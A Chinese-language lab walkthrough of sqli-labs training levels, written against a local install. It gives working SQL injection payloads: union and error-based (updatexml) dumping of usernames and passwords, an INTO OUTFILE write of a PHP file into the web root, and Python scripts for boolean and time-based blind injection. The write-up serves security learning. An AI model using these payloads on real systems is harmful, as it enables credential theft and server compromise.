1.第一关:
提示我们输入数字值得id,我们先输入
?id=1
有回显内容,说明我们已经进入了数据库进行查询。
尝试联表注入:
第一步:首先我们需要知道一张表有几列,可以通过报错和正常回显来判断有几列。
这里两个知识点:
1.正常使用mysql语句是无法查询出来的,由于是字符型,需要使用 ' 单引号来闭合,达到逃脱单引号的控制
2.-- 空格是mysql的注释符,因为+加号是和空格编码成一样的%20,具体证明可以查看各大官方文档,例如华三。
?id=1'order by 3 --+
?id=1'order by 4 --+
这不难看出,这个表有三列。
第二步:爆出表格的哪一列显示在页面。
?id=-1'union select 1,2,3--+
确定了显示的是2和3列
第三步:就可以开始获取自己想要知道的内容了
?id=-1'union select 1,database(),version()--+
第四步:由于我们查出来了security这个数据库名,接下来就可以一步一步查出它的账号密码有哪些。先查出表名,在根据表名查出users的列名,最后就可以直接select查出账号密码。
select table_name from tables where table_schema='security';
select column_name from columns where table_schema='security' and table_name='users';
select username,password from security.users;
这是在数据库里面看到的表名和列名以及密码,但是我们需要通过注入在页面回显出来。
group_concat()的作用:将查询结果连起来。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
到这里第一关就结束。
2.第五关:
由于第五关没有正确的回显,所以可以尝试一下进行报错注入。
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3e,password)from users),1,32),0x7e),1)--+
注入成功,看到报错回显了账号密码,但是只有前32位,所以要以此类推知道全部回显出来。只需要吧1,32改成32,64.......
3.第七关:主要考察outfile
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "C:/Study/phpstudy/phpstudy_pro/WWW/sqli-labs-master/web.php";--+
提示有语法错误不用担心,去看一下该路径下是否生成了php文件。
4.第八关:对错都不回显,但是对就不显示,错就是you are in.....
我们可以尝试一下:因为数据库名为security,第一个字母为s转换成ascii看看115是否正确。
?id=1' and ascii(substr(database(),1,2))=115--+
不难看出,这样是可以一直推出来的,但是需要尝试特别长的时间,所以我们可以选择爆破,或者用脚本跑出来。这是我使用简单的脚本:
import requests
url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
for j in range(32, 129):
payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
res = {"id": payload}
r = requests.get(url, params=res)
if "You are in..........." in r.text:
name = name + chr(j)
print(name)
break
else:
continue
inject_database(url)
接下里只需要修改payload一步一步跑出来即可
"1' and ascii(substr((select group_concat(table_name)from information_schema.table where table_schema='security'), %d, 1)) > %d-- " % (i, mid)
5.第九关:没有任何反应,所以只能根据时间进行时间盲注,需要用到sleep()函数
import requests
import time
def process(length):
result = ''
for i in range(1, length + 1):
for j in range(32, 126):
start_time = time.time()
response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
process_time = time.time() - start_time
if process_time > TIME:
result += chr(j)
print(result)
return result
if __name__ == '__main__':
TIME = 5
process(8)
6.第十一关:
我们可以尝试一下在Username进行注入,由于这里不是地址栏,不会进行编码,所以就可以使用#,因为闭合的原因,所以Password可以随便输入。
1' union select 1,2#
可以发现确实是这样的,找到注入点,就和第一关差不多了
1' union select 1,group_concat(username ,id , password) from users#